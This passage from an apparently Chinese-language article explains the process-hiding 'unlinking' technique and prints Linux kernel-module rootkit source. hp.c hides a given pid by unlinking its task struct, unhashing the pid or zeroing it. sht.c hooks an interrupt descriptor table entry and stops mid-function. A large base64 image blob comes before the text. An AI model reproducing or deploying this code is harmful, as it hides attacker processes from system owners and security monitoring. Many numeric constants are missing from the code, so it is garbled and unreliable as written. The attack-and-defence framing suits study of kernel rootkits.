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" alt="" />
简单来说,这就是windows驱动hacking中常说的"断链法"
这里,我们需要对系统内核进程隐藏的攻防进行一下理解梳理
. 对于黑客来说,隐藏进程可以通过将某个上层rin3会用到的内核链表(内核状态变量)进行断链,以实现隐藏的目的
. 而对于安全研究员防守方来说,要对抗这种攻击,就必须在内核中的其他地方找到另一个同样可以表示进程列表的数据结构,以此来再次绕过黑客的隐藏攻击
. 那这个攻防过程能不能无限的进行下去呢?答案是否定的!黑客在使用"断链法"进行进程隐藏的时候,不能去破坏CPU调度所使用到的链表(这是最低的底线),如果把CPU的调度所依赖的链表都断开了,隐藏进程的目的是达到了,可是
这个进程也废了,因为它失去了被调度的能力
回到我们文章的例子上来看,task_struct链表就是CPU调度的依赖,我们如果对这个链表进行断链,则CPU自然也不会去调度这个进程了,为了解决这个问题,我们需要给内核打上hot-patch
hp.c
#define __KERNEL__
#define MODULE #include <linux/module.h>
#include <linux/kernel.h>
#include <linux/sched.h> pid_t pid = ;
struct task_struct *task = ;
unsigned char method = 0x3 ; int init_module ( ) {
if ( pid ) {
task = find_task_by_pid(pid) ;
printk ( "[HP] address of task struct for pid %i is 0x%p\n" , pid , task ) ;
if ( task ) {
write_lock_irq(&tasklist_lock) ;
if ( method & 0x1 ) {
printk("[HP] removing process links\n") ;
REMOVE_LINKS(task) ;
}
if ( method & 0x2 ) {
printk("[HP] unhashing pid\n") ;
unhash_pid(task) ;
}
if ( method & 0x4 ) {
printk("[HP] zerofing pid\n") ;
task->pid == ;
}
write_unlock_irq(&tasklist_lock) ;
}
} else if ( task ) {
printk ( "[HP] unhideing task at addr 0x%x\n" , task ) ;
write_lock_irq(&tasklist_lock) ;
if ( method & 0x1 ) {
printk("[HP] setting process links\n") ;
SET_LINKS(task) ;
}
if ( method & 0x2 ) {
printk("[HP] hashing pid\n") ;
hash_pid(task) ;
}
if ( method & 0x4 ) {
printk ( "[HP] reverting 0 pid to %i\n" , task->tgid ) ;
task->pid = task->tgid ;
}
write_unlock_irq(&tasklist_lock) ;
}
return ;
} MODULE_PARM ( pid , "i" ) ;
MODULE_PARM_DESC ( pid , "the pid to hide" ) ; MODULE_PARM ( task , "l" ) ;
MODULE_PARM_DESC ( task , "the address of the task struct to unhide" ) ; MODULE_PARM ( method , "b" ) ;
MODULE_PARM_DESC ( method , "a bitwise OR of the method to use , 0x1 - linked list , 0x2 - pidhash , 0x4 - zerofy pid" ) ; MODULE_AUTHOR("ubra @ PHI Group") ;
MODULE_DESCRIPTION("hp - hide pid v1.0.0 - hides a task with 3 possible methods") ;
MODULE_LICENSE("GPL") ;
EXPORT_NO_SYMBOLS ;
sht.c
#define __KERNEL__
#define MODULE
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/sched.h> struct idta {
unsigned short size ;
unsigned long addr __attribute__((packed)) ;
} ;
struct idt {
unsigned short offl ;
unsigned short seg ;
unsigned char pad ;
unsigned char flags ;
unsigned short offh ;
} ; unsigned long get_idt_addr ( void ) {
struct idta idta ; asm ( "sidt %0" : "=m" (idta) ) ;
return idta.addr ;
} unsigned long get_int_addr ( unsigned int intp ) {
struct idt idt ;
unsigned long idt_addr ; idt_addr = get_idt_addr() ;
idt = *((struct idt *) idt_addr + intp) ;
return idt.offh << | idt.offl ;
} void hook_int ( unsigned int intp , unsigned long new_func , unsigned long *old_func ) {
struct idt idt ;
unsigned long idt_addr ; if ( old_func )
*old_func = get_int_addr(intp) ;
idt_addr = get_idt_addr() ;
idt = *((struct idt *) idt_addr + intp) ;
idt.offh = (unsigned short) (new_func >> & 0xFFFF) ;
idt.offl = (unsigned short) (new_func & 0xFFFF) ;
*((struct idt *) idt_addr + intp) = idt ;
return ;
} asmlinkage void check_task ( struct pt_regs *regs , struct task_struct *task ) ;
asmlinkage void stub_func ( void ) ; unsigned long new_handler = (unsigned long) &check_task ;
unsigned long old_handler ; void stub_handler ( void ) {
asm(".globl stub_func \n"
".align 4,0x90 \n"
"stub_func : \n"
" pushal \n"
" pushl %%eax \n"
" movl $-8192 , %%eax \n"
" andl %%esp , %%eax \n"
" pushl %%eax \n"
" movl -4(%%esp) , %%eax \n"
" pushl %%esp \n"
" call *%0 \n"
" addl $12 , %%esp \n"
" popal \n"
" jmp *%1 \n"
:: "m" (new_handler) , "m" (old_handler) ) ;
} asmlinkage void check_task ( struct pt_regs *regs , struct task_struct *task ) {
struct task_struct *task_p = &init_task ;
unsigned char on_ll = , on_ph = ; if ( ! task->mm )
return ;
do {
if ( task_p == task ) {
on_ll = ;
break ;
